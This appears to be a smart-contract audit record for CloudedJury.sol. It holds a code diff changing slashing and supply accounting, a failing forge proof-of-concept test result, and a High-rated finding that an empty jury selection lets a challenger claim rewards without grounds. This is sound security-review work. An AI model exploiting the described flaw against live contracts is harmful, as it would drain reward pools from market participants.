         MANAGER = _managerAddr;
         whitelisted = true;
         nextTokenId_ = 1;
     }
 
     function addToWhitelist(address _addr) external isManager {
         whitelisted_[_addr] = true;
         emit AddToWhitelist(_addr);
     }
 
     function publicLaunch() external isManager { whitelisted = false; emit PublicLaunch(); }
 
     function isWhitelisted(address _addr) external view returns (bool) { return whitelisted_[_addr]; }
 
     function tokenURI(uint256 _tokenId) public view override returns (string memory) {
         _requireOwned(_tokenId);
         return bytes(baseURI_).length > 0 ? baseURI_ : string.concat(uri_, _tokenId.toString());
     }
 
     function updateURI(string memory _newBaseURI, string memory _newURI) external isManager {
         baseURI_ = _newBaseURI;
         uri_ = _newURI;
         emit BatchMetadataUpdate(1, nextTokenId_ - 1);
     }
 
     function updateDAOAddr(address _daoAddr) external isManager { DAO = _daoAddr; }
 
     function updateCloudedAddr(address _cloudedAddr) external isManager { CLOUDED = _cloudedAddr; }
 
     function updateMarketStatus(uint256 _marketId) external returns (uint8) { return uint8(_updateMarketStatus(_marketId)); }
 
     function getAllOngoingMarketIds() external view returns (uint256[] memory) { return allOngoingMarketIds_.getAll(); }
 
     function getCurrentCreateMarketPrice() external view returns (uint256) { return _getCurrentCreateMarketPrice(); }
 
     function getResolvedMarkets() external view returns (uint256) { return allResolvedMarketIds_.getLength(); }
 
     function getResolvedMarketIds(uint256 _offset, uint256 _limit) external view returns (uint256[] memory ids) {
         uint256 _totalMarkets = allResolvedMarketIds_.getLength();
         if (_offset >= _totalMarkets || _limit == 0) return new uint256[](0);
 
         uint256 _end   = _totalMarkets - _offset;
         uint256 _count = _end > _limit ? _limit : _end;
 
         ids = new uint256[](_count);
         for (uint256 i = 0; i < _count; i++) { ids[i] = allResolvedMarketIds_.getId(_end - 1 - i); }
     }
 
     function getMarketStoredInfo(uint256 _marketId) external view returns (
         uint256 creatorTokens, 
         uint256 challengerToken, 
         uint256 marketRevealedTS, 
         uint256 marketChallengedTS, 
         uint256 marketReveals, 
         uint256 juryOutcome, 
         uint256 votingOutcome, 
         bytes32 randomNumber, 
         bool    juryHasSelected, 
         bool    marketResolved
     ) {
         Market storage market = markets_[_marketId];
         creatorTokens      = market.creatorTokens;
         challengerToken    = market.challengerToken;
         marketRevealedTS   = market.marketRevealedTS;
         marketChallengedTS = market.marketChallengedTS;
         marketReveals      = market.marketReveals;
         juryOutcome        = market.juryOutcome;
         votingOutcome      = market.votingOutcome;
         randomNumber       = market.randomNumber;
         juryHasSelected    = market.juryHasSelected;
         marketResolved     = market.marketResolved;
     }
 
     function getMarketDerivedInfo(uint256 _marketId) external view returns (uint256 resolvedOutcome, uint8 status) {
         resolvedOutcome = _getResolvedMarketOutcome(_marketId);
         Status _current = _getMarketStatus(_marketId);
         status = uint8(_current > markets_[_marketId].status ? _current : markets_[_marketId].status);
     }
 
     function getUserTokenIds(address _userAddr) external view returns (uint256[] memory) { return tokenOf_[_userAddr].getAll(); }
 
     function getStakerMarketIds(address _stakerAddr) external view returns (uint256[] memory) { return marketOf_[_stakerAddr].getAll(); }
 
     function getStakerMarketTokenIds(address _stakerAddr, uint256 _marketId) external view returns (uint256[] memory creatorTokenIds, uint256[] memory challengerTokenIds, uint256[] memory stakerTokenIds) {
         creatorTokenIds    = marketCreatorTokenOf_[_stakerAddr][_marketId].getAll();
         challengerTokenIds = marketChallengerTokenOf_[_stakerAddr][_marketId].getAll();
         stakerTokenIds     = marketTokenOf_[_stakerAddr][_marketId].getAll();
     }
 
     function mint(uint256 _amount) external payable nonReentrant {
         if (whitelisted && !whitelisted_[msg.sender]) revert Whitelisted();
 
         if (_amount == 0) revert ZeroAmount();
 
         uint256 _mintPrice = 3 * _amount * DECIMALS; // The price for minting an NFT is 3 $HYPE
         if (msg.value < _mintPrice) revert InsufficientPayment();
 
         for (uint256 i = 0; i < _amount; i++) {
             _mint(msg.sender, nextTokenId_);
             nextTokenId_++;
         }
 
         IDAO(DAO).buyBack{value: _amount * DECIMALS / 100}();
 
         uint256 _refund = msg.value - _mintPrice;
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function redeem(uint256[] memory _tokenIds) external nonReentrant {
         uint256 _amount;
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             _burn(_tokenIds[i]);
             _amount++;
         }
 
         if (_amount == 0) revert ZeroAmount();
 
         (bool _success, ) = msg.sender.call{value: _amount * 299 * DECIMALS / 100}("");
         if (!_success) revert RefundFailed();
     }
 
     function stake(uint256 _marketId, uint256[] memory _tokenIds, bytes32 _commitHash) external nonReentrant {
         if (_commitHash == 0) revert NoCommitHash();
         if (_tokenIds.length == 0) revert NoTokenSelected();
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         uint256 _tokenId;
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _tokenId = _tokenIds[i];
             if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
             marketStakes.add(_tokenId);
             marketTokenOf.add(_tokenId);
             tokenAddr_[_tokenId] = msg.sender;
             _update(address(this), _tokenId, msg.sender);
             emit Stake(msg.sender, _marketId, _tokenId);
         }
         marketOf_[msg.sender].add(_marketId);
         marketCommitHashOf_[msg.sender][_marketId] = _commitHash;
         emit StakeAfter(msg.sender, _marketId, marketStakes.getLength());
     }
 
     function unstake(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (!marketTokenOf.isSet(_tokenIds[i])) revert NotStakedByOwner(_tokenIds[i]);
             marketStakes.remove(_tokenIds[i]);
             _unstake(_marketId, _tokenIds[i]);
         }
         if (marketTokenOf.getLength() == 0) delete marketCommitHashOf_[msg.sender][_marketId];
         if (marketCreatorTokenOf_[msg.sender][_marketId].getLength() == 0 && marketChallengerTokenOf_[msg.sender][_marketId].getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
         emit UnstakeAfter(msg.sender, _marketId, marketStakes.getLength(), marketOf_[msg.sender].isSet(_marketId));
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days, uint256[] memory _tokenIds, uint256 _outcomePosition, uint256 _shares) external payable nonReentrant {
         if (_outcomePosition == 0 || _outcomePosition > _outcomes.length) revert InvalidId();
 
         uint256 _requiredTokenAmount = _getCurrentCreateMarketPrice();
         if (_tokenIds.length < _requiredTokenAmount) revert StakeRequiredAmounts();
 
         uint256 _nextMarketId = IClouded(CLOUDED).nextMarketId();
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             marketCreatorTokenOf_[msg.sender][_nextMarketId].add(_tokenIds[i]);
             _update(address(this), _tokenIds[i], msg.sender);
             emit CreateMarket(msg.sender, _nextMarketId, _tokenIds[i]);
         }
 
         allOngoingMarketIds_.add(_nextMarketId);
         marketOf_[msg.sender].add(_nextMarketId);
         markets_[_nextMarketId].creatorTokens = _tokenIds.length;
 
         uint256[] memory _outcomeIds = IClouded(CLOUDED).createMarket(_name, _rule, _outcomes, _days);
         emit CreateMarketAfter(msg.sender, _nextMarketId, _name, _rule, _outcomeIds, _outcomes, block.timestamp, _days * 1 days);
 
         uint256 _outcomeId = _outcomeIds[_outcomePosition - 1];
         _creatorBuy(_nextMarketId, _outcomeId, _shares);
     }
 
     function revealOutcome(uint256 _marketId, uint256 _outcomeId, bytes32 _salt) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.JURY) revert JuryWindowEnded();
         if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
         if (marketHasRevealedOf_[msg.sender][_marketId]) revert OutcomeRevealed();
         marketHasRevealedOf_[msg.sender][_marketId] = true;
 
         bytes32 _commitHash = marketCommitHashOf_[msg.sender][_marketId];
         if (_commitHash == 0) revert NoCommitHash();
         if (keccak256(abi.encodePacked(msg.sender, _marketId, _outcomeId, _salt)) != _commitHash) revert WrongCommitHash();
         marketOutcomeOf_[msg.sender][_marketId] = _outcomeId;
 
         Market storage market = markets_[_marketId];
         market.randomNumber   = market.randomNumber ^ _salt;
 
         market.marketReveals     += marketTokenOf_[msg.sender][_marketId].getLength();
         if (market.marketReveals == marketStakes_[_marketId].getLength()) market.marketRevealedTS = block.timestamp;
 
         uint256 _winningOutcomeId;
         uint256 _winningOutcomeCount;
         uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
         marketOutcomeCount_[_marketId][_outcomeId] += marketTokenOf_[msg.sender][_marketId].getLength();
         for (uint256 i = 0; i < _marketOutcomeIds.length; i++) {
             if (marketOutcomeCount_[_marketId][_marketOutcomeIds[i]] > _winningOutcomeCount) {
                 _winningOutcomeId    = _marketOutcomeIds[i];
                 _winningOutcomeCount = marketOutcomeCount_[_marketId][_marketOutcomeIds[i]];
             }
         }
         market.juryOutcome = _winningOutcomeId;
 
         emit RevealOutcome(_marketId, msg.sender, _outcomeId, market.randomNumber, market.marketReveals, market.marketRevealedTS, market.juryOutcome);
     }
 
     function selectJury(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
 
         if (markets_[_marketId].juryHasSelected) revert JurySelected(true);
         markets_[_marketId].juryHasSelected = true;
 
         uint256 _attempt;
         Ids.Set storage marketStakes = marketStakes_[_marketId];
         uint256 _totalStakedTokens   = marketStakes.getLength();
         uint256 _jurySet             = _totalStakedTokens == 0 ? 0 : _totalStakedTokens < 5 ? 1 : _totalStakedTokens / 5 < 300 ? _totalStakedTokens / 5 : 300;
         while (_attempt < _jurySet) {
             uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(markets_[_marketId].randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
             marketStakes.swap(_attempt, _position);
 
             uint256 _tokenId        = marketStakes.getId(_attempt);
             address _tokenOwner     = tokenAddr_[_tokenId];
             uint256 _tokenOutcomeId = marketOutcomeOf_[_tokenOwner][_marketId];
             if (_tokenOutcomeId != 0) {
                 marketJuryStakes_[_marketId].add(_tokenId);
                 juryOutcomeCount_[_marketId][_tokenOutcomeId]++;
                 emit SelectJury(_marketId, _tokenId, _tokenOutcomeId, _tokenOwner);
             }
 
             _attempt++;
         }
     }
 
     // Challenge can only be made once every market. 
     // The token will be rewarded if the voters also agree with the same outcome, 
     // but will be slashed for being wrong.
     function challenge(uint256 _marketId, uint256 _tokenId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
         if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
 
         Market storage market = markets_[_marketId];
         if (!market.juryHasSelected) revert JurySelected(false);
         if (market.marketChallengedTS != 0) revert MarketAlreadyChallenged();
         market.marketChallengedTS = block.timestamp;
         market.challengerToken++;
 
         marketOf_[msg.sender].add(_marketId);
         marketChallengerTokenOf_[msg.sender][_marketId].add(_tokenId);
 
         _update(address(this), _tokenId, msg.sender);
 
         emit Challenge(msg.sender, _marketId, _tokenId, block.timestamp);
     }
 
     function resolveMarket(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
 
         Market storage market = markets_[_marketId];
         if (market.marketResolved) revert MarketResolved(true);
         market.marketResolved = true;
 
         allOngoingMarketIds_.remove(_marketId);
         allResolvedMarketIds_.add(_marketId);
 
         bool _isMarketChallenged = market.marketChallengedTS != 0;
         if (_isMarketChallenged) {
             uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
             uint256[] memory _marketOutcomes   = new uint256[](_marketOutcomeIds.length);
             for (uint256 i = 0; i < _marketOutcomeIds.length; i++) _marketOutcomes[i] = IDAO(DAO).outcomeVotes(_marketOutcomeIds[i]);
             market.votingOutcome = _calculateMarketOutcome(_marketOutcomeIds, _marketOutcomes);
         }
 
         uint256 _resolvedOutcomeId = _getResolvedMarketOutcome(_marketId);
         _sendSlashedTokenValueToDao(_marketId, _resolvedOutcomeId);
 
         emit ResolveMarket(_marketId, market.votingOutcome, _resolvedOutcomeId);
     }
 
     function claimReward(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
         if (!markets_[_marketId].marketResolved) revert MarketResolved(false);
 
         uint256 _currentTokenId;
         uint256 _marketOutcome = _getResolvedMarketOutcome(_marketId);
         uint256 _outcomeOf     = marketOutcomeOf_[msg.sender][_marketId];
         (, uint256 _daysOf)    = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         (, uint256 _totalWinnerOutcomeStakes)   = _getSlashedAndRewardedTokens(_marketId, _marketOutcome);
         Market  storage market                  = markets_[_marketId];
         Ids.Set storage marketTokenOf           = marketTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketCreatorTokenOf    = marketCreatorTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketChallengerTokenOf = marketChallengerTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _currentTokenId = _tokenIds[i];
 
             if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }
 
             if (marketChallengerTokenOf.isSet(_currentTokenId)) {
                 if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
                     _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                     if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
                 } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
                 continue;
             }
 
             if (!marketTokenOf.isSet(_currentTokenId)) continue; // The token is not creator, challenger, staker token, or belong to the market or caller
 
             if (!marketHasRevealedOf_[msg.sender][_marketId]) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; }
 
             if (marketJuryStakes_[_marketId].isSet(_currentTokenId)) {
                 if (_outcomeOf != _marketOutcome) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; } // The jury outcome is also checked and slashed if 0, equivalent to _getSlashedAndRewardedTokens
                 else if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
             }
 
             _unstake(_marketId, _currentTokenId);
 
             uint256 _tokenReward;
             if (_outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);
 
             emit ClaimJuryReward(msg.sender, _marketId, _currentTokenId, _tokenReward);
         }
 
         if (marketCreatorTokenOf.getLength() == 0 && marketChallengerTokenOf.getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
 
         emit ClaimRewardAfter(msg.sender, _marketId, marketOf_[msg.sender].isSet(_marketId));
     }
 
     function _getCurrentCreateMarketPrice() private view returns (uint256) { return totalSupply_ / 100 > 5 ? totalSupply_ / 100 : 5; }
 
     function _update(address _to, uint256 _tokenId, address _auth) internal override returns (address) {
         address from = super._update(_to, _tokenId, _auth);
 
         if (from == address(0)) totalSupply_++;
         if (_to == address(0)) totalSupply_--;
 
         if (from != address(0)) tokenOf_[from].remove(_tokenId);
         if (_to != address(0)) tokenOf_[_to].add(_tokenId);
 
         return from;
     }
 
     function _updateMarketStatus(uint256 _marketId) private returns (Status) {
         if (_marketId == 0 || _marketId >= IClouded(CLOUDED).nextMarketId()) revert InvalidId();
         Market storage market = markets_[_marketId];
         Status _currentMarketStatus = _getMarketStatus(_marketId);
         if (_currentMarketStatus > market.status) market.status = _currentMarketStatus;
         return market.status;
     }
 
     function _getMarketStatus(uint256 _marketId) private view returns (Status) {
         (uint256 _startAt, uint256 _daysOf) = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         uint256 _marketEndAt = _startAt + _daysOf;
 
         Market storage market = markets_[_marketId];
         uint256 _currentTimestamp = block.timestamp;
 
         if (_currentTimestamp < _marketEndAt) return Status.ONGOING;
 
         if (market.marketRevealedTS == 0 && _currentTimestamp < _marketEndAt + 1 days) return Status.JURY;
 
         uint256 _challengeStart = market.marketRevealedTS != 0 ? market.marketRevealedTS : _marketEndAt + 1 days;
 
         if (market.marketChallengedTS != 0) return _currentTimestamp >= market.marketChallengedTS + 3 days ? Status.SETTLED : Status.VOTING;
 
         return _currentTimestamp < _challengeStart + 1 days ? Status.APPEAL : Status.SETTLED;
     }
 
     function _creatorBuy(uint256 _nextMarketId, uint256 _outcomeId, uint256 _shares) private {
         uint256 _executionPrice = IClouded(CLOUDED).getPriceAppreciation(_outcomeId, true, _shares);
         if (msg.value < _executionPrice) revert InsufficientPayment();
 
         IClouded(CLOUDED).buy{value: _executionPrice}(msg.sender, _nextMarketId, _outcomeId, _shares, _executionPrice, 0);
 
         if (msg.value - _executionPrice > 0) {
             (bool _success, ) = msg.sender.call{value: msg.value - _executionPrice}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function _unstake(uint256 _marketId, uint256 _tokenId) private {
         marketTokenOf_[msg.sender][_marketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         _update(msg.sender, _tokenId, address(this));
         emit Unstake(msg.sender, _marketId, _tokenId);
     }
 
     function _calculateMarketOutcome(uint256[] memory _marketOutcomeIds, uint256[] memory _marketOutcomes) private pure returns (uint256) {
         uint256 _winningOutcome;
         uint256 _winningAmount;
         for (uint256 i = 0; i < _marketOutcomes.length; i++) {
             if (_marketOutcomes[i] > _winningAmount) {
                 _winningOutcome = _marketOutcomeIds[i];
                 _winningAmount  = _marketOutcomes[i];
             }
         }
         return _winningOutcome;
     }
 
     function _slash(uint256 _tokenMarketId, uint256 _tokenOutcomeId, uint256 _tokenId) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         marketTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
+        _burn(_tokenId);
         emit Slash(msg.sender, _tokenMarketId, _tokenOutcomeId, _tokenId);
     }
 
     function _sendSlashedTokenValueToDao(uint256 _marketId, uint256 _marketResolvedOutcomeId) private {
         (uint256 _slashedTokens, ) = _getSlashedAndRewardedTokens(_marketId, _marketResolvedOutcomeId);
         if (_slashedTokens > 0) {
-            totalSupply_ -= _slashedTokens;
             IDAO(DAO).buyBack{value: _slashedTokens * 299 * DECIMALS / 100}();
             emit SendSlashedTokenToDAO(_marketId, _slashedTokens, _slashedTokens * 299 * DECIMALS / 100);
         }
     }
 
     function _getSlashedAndRewardedTokens(uint256 _marketId, uint256 _marketOutcome) private view returns (uint256 slashedTokens, uint256 winnerOutcomeStakes) {
         Market storage market = markets_[_marketId];
         uint256 _juryOutcome              = market.juryOutcome;
         uint256 _marketChallengerToken    = market.challengerToken;
         bool    _isChallengerTokenSlashed = _marketOutcome == _juryOutcome;
 
         slashedTokens = marketJuryStakes_[_marketId].getLength() - juryOutcomeCount_[_marketId][_marketOutcome];
 
         if (_isChallengerTokenSlashed) {
             slashedTokens += _marketChallengerToken;
             _marketChallengerToken = 0;
         }
 
         winnerOutcomeStakes = _marketChallengerToken + marketOutcomeCount_[_marketId][_marketOutcome];
 
         slashedTokens += marketStakes_[_marketId].getLength() - market.marketReveals; // Total slashed tokens including tokens not revealed
     }
 
     function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
         Market storage market = markets_[_marketId];
         if (!market.marketResolved)    return 0;
         if (market.votingOutcome != 0) return market.votingOutcome;
         if (market.juryOutcome != 0)   return market.juryOutcome;
         return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);
     }
 
     function _claimCreatorToken(uint256 _tokenMarketId, uint256 _currentTokenId) private {
         marketCreatorTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
         emit ClaimCreatorToken(msg.sender, _tokenMarketId, _currentTokenId);
     }
 
     function _claimChallengerReward(uint256 _tokenMarketId, uint256 _currentTokenId, uint256 _totalOutcomeStakes) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
 
         uint256 _challengerReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _tokenMarketId, _totalOutcomeStakes);
 
         emit ClaimChallengerReward(msg.sender, _tokenMarketId, _currentTokenId, _challengerReward);
     }
 
     error NotAuthorized();
     error Whitelisted();
     error ZeroAmount();
     error InvalidId();
     error RefundFailed();
     error NoTokenSelected();
     error OutcomeRevealed();
     error WrongCommitHash();
     error NoCommitHash();
     error MarketEnded();
     error MarketNotEnded();
     error JuryWindowEnded();
     error AppealWindowEnded();
     error MarketAlreadyChallenged();
     error NotOwner(uint256 tokenId);
     error NotStakedByOwner(uint256 tokenId);
     error JurySelected(bool selected);
     error MarketResolved(bool resolved);
     error InsufficientPayment();
     error StakeRequiredAmounts();
 }
\ No newline at end of file

Affected files

  • src/CloudedJury.sol
  • CloudedJury.sol

Validation output

[output truncated: 1171 lines & 64.525390625 KB skipped]
Ran 1 test suite in 14.25ms (13.58ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Poc.t.sol:PocTest
[FAIL: custom supply counter fell by the slashed amount: 6 != 5] test_slashingLeavesLiveContractHeldNFTWhileSupplyCounterFalls() (gas: 64378239)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger

Empty jury results allow unsubstantiated challenger rewards

High#298779Validity: Unreviewed

Comment:

A market jury should never be empty due to economic incentives. In the unlikely event that a market is overlooked, traders can always challenge it to trigger DAO voting for a settlement.

Source locations

Uploaded archive/CloudedJury.sol (6 locations)

Lines 378-403 — _selectJury sets juryHasSelected without validating a real outcome was selected_ — _Selection is marked complete even when no selected stake has a revealed outcome._ — _Zero-sized jury is allowed while juryHasSelected is set._

    function selectJury(uint256 _marketId) external nonReentrant {
        if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();

        if (markets_[_marketId].juryHasSelected) revert JurySelected(true);
        markets_[_marketId].juryHasSelected = true;

        uint256 _attempt;
        Ids.Set storage marketStakes = marketStakes_[_marketId];
        uint256 _totalStakedTokens   = marketStakes.getLength();
        uint256 _jurySet             = _totalStakedTokens == 0 ? 0 : _totalStakedTokens < 5 ? 1 : _totalStakedTokens / 5 < 300 ? _totalStakedTokens / 5 : 300;
        while (_attempt < _jurySet) {
            uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(markets_[_marketId].randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
            marketStakes.swap(_attempt, _position);

            uint256 _tokenId        = marketStakes.getId(_attempt);
            address _tokenOwner     = tokenAddr_[_tokenId];
            uint256 _tokenOutcomeId = marketOutcomeOf_[_tokenOwner][_marketId];
            if (_tokenOutcomeId != 0) {
                marketJuryStakes_[_marketId].add(_tokenId);
                juryOutcomeCount_[_marketId][_tokenOutcomeId]++;
                emit SelectJury(_marketId, _tokenId, _tokenOutcomeId, _tokenOwner);
            }

            _attempt++;
        }
    }
⋯ code omitted for brevity ⋯

Lines 408-423 — _Challenge requires ownership and the selection boolean but no outcome assertion or nonzero jury result._ — _challenge() omits check on juryOutcome!=0 or jury participation_

    function challenge(uint256 _marketId, uint256 _tokenId) external nonReentrant {
        if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
        if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);

        Market storage market = markets_[_marketId];
        if (!market.juryHasSelected) revert JurySelected(false);
        if (market.marketChallengedTS != 0) revert MarketAlreadyChallenged();
        market.marketChallengedTS = block.timestamp;
        market.challengerToken++;

        marketOf_[msg.sender].add(_marketId);
        marketChallengerTokenOf_[msg.sender][_marketId].add(_tokenId);

        _update(address(this), _tokenId, msg.sender);

        emit Challenge(msg.sender, _marketId, _tokenId, block.timestamp);
⋯ code omitted for brevity ⋯

Lines 426-445 — _A challenged market enters the DAO-vote resolution path and computes the resolved outcome._

    function resolveMarket(uint256 _marketId) external nonReentrant {
        if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();

        Market storage market = markets_[_marketId];
        if (market.marketResolved) revert MarketResolved(true);
        market.marketResolved = true;

        allOngoingMarketIds_.remove(_marketId);
        allResolvedMarketIds_.add(_marketId);

        bool _isMarketChallenged = market.marketChallengedTS != 0;
        if (_isMarketChallenged) {
            uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
            uint256[] memory _marketOutcomes   = new uint256[](_marketOutcomeIds.length);
            for (uint256 i = 0; i < _marketOutcomeIds.length; i++) _marketOutcomes[i] = IDAO(DAO).outcomeVotes(_marketOutcomeIds[i]);
            market.votingOutcome = _calculateMarketOutcome(_marketOutcomeIds, _marketOutcomes);
        }

        uint256 _resolvedOutcomeId = _getResolvedMarketOutcome(_marketId);
        _sendSlashedTokenValueToDao(_marketId, _resolvedOutcomeId);
⋯ code omitted for brevity ⋯

Lines 450-473 — _Challenger reward branch pays when juryOutcome differs from the resolved outcome._ — _The claim path treats any jury/resolved-outcome inequality, including zero versus fallback, as challenger success._ — _Any challenger whose outcome differs from zero jury outcome receives the reward path._

    function claimReward(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
        if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
        if (!markets_[_marketId].marketResolved) revert MarketResolved(false);

        uint256 _currentTokenId;
        uint256 _marketOutcome = _getResolvedMarketOutcome(_marketId);
        uint256 _outcomeOf     = marketOutcomeOf_[msg.sender][_marketId];
        (, uint256 _daysOf)    = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
        (, uint256 _totalWinnerOutcomeStakes)   = _getSlashedAndRewardedTokens(_marketId, _marketOutcome);
        Market  storage market                  = markets_[_marketId];
        Ids.Set storage marketTokenOf           = marketTokenOf_[msg.sender][_marketId];
        Ids.Set storage marketCreatorTokenOf    = marketCreatorTokenOf_[msg.sender][_marketId];
        Ids.Set storage marketChallengerTokenOf = marketChallengerTokenOf_[msg.sender][_marketId];
        for (uint256 i = 0; i < _tokenIds.length; i++) {
            _currentTokenId = _tokenIds[i];

            if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }

            if (marketChallengerTokenOf.isSet(_currentTokenId)) {
                if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
                    _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                    if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
                } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
                continue;
⋯ code omitted for brevity ⋯

Lines 576-600 — _Zero jury outcome prevents challenger slashing and adds the challenger to winner stakes._ — _Zero jury outcome leaves the challenger in the winner denominator and not in the slash count._

    function _sendSlashedTokenValueToDao(uint256 _marketId, uint256 _marketResolvedOutcomeId) private {
        (uint256 _slashedTokens, ) = _getSlashedAndRewardedTokens(_marketId, _marketResolvedOutcomeId);
        if (_slashedTokens > 0) {
            totalSupply_ -= _slashedTokens;
            IDAO(DAO).buyBack{value: _slashedTokens * 299 * DECIMALS / 100}();
            emit SendSlashedTokenToDAO(_marketId, _slashedTokens, _slashedTokens * 299 * DECIMALS / 100);
        }
    }

    function _getSlashedAndRewardedTokens(uint256 _marketId, uint256 _marketOutcome) private view returns (uint256 slashedTokens, uint256 winnerOutcomeStakes) {
        Market storage market = markets_[_marketId];
        uint256 _juryOutcome              = market.juryOutcome;
        uint256 _marketChallengerToken    = market.challengerToken;
        bool    _isChallengerTokenSlashed = _marketOutcome == _juryOutcome;

        slashedTokens = marketJuryStakes_[_marketId].getLength() - juryOutcomeCount_[_marketId][_marketOutcome];

        if (_isChallengerTokenSlashed) {
            slashedTokens += _marketChallengerToken;
            _marketChallengerToken = 0;
        }

        winnerOutcomeStakes = _marketChallengerToken + marketOutcomeCount_[_marketId][_marketOutcome];

        slashedTokens += marketStakes_[_marketId].getLength() - market.marketReveals; // Total slashed tokens including tokens not revealed
⋯ code omitted for brevity ⋯

Lines 603-609 — _Resolved outcome falls back to Clouded's winner when votingOutcome and juryOutcome are zero._ — _Resolution outcome falls back to Clouded when both voting and jury outcomes are zero._

    function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
        Market storage market = markets_[_marketId];
        if (!market.marketResolved)    return 0;
        if (market.votingOutcome != 0) return market.votingOutcome;
        if (market.juryOutcome != 0)   return market.juryOutcome;
        return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);
    }

Uploaded archive/Clouded.sol

Lines 313-320 — _Clouded pays the caller's jury reward share from the market reward pool._ — _Jury reward payout transfers 10% allocation divided by the supplied winner denominator._

    function claimJuryReward(address _msgSender, uint256 _tokenMarketId, uint256 _totalWinnerOutcomeStakes) external nonReentrant isJury returns (uint256 tokenReward) {
        uint256 _marketTotalReward = _getMarketTotalReward(_tokenMarketId);
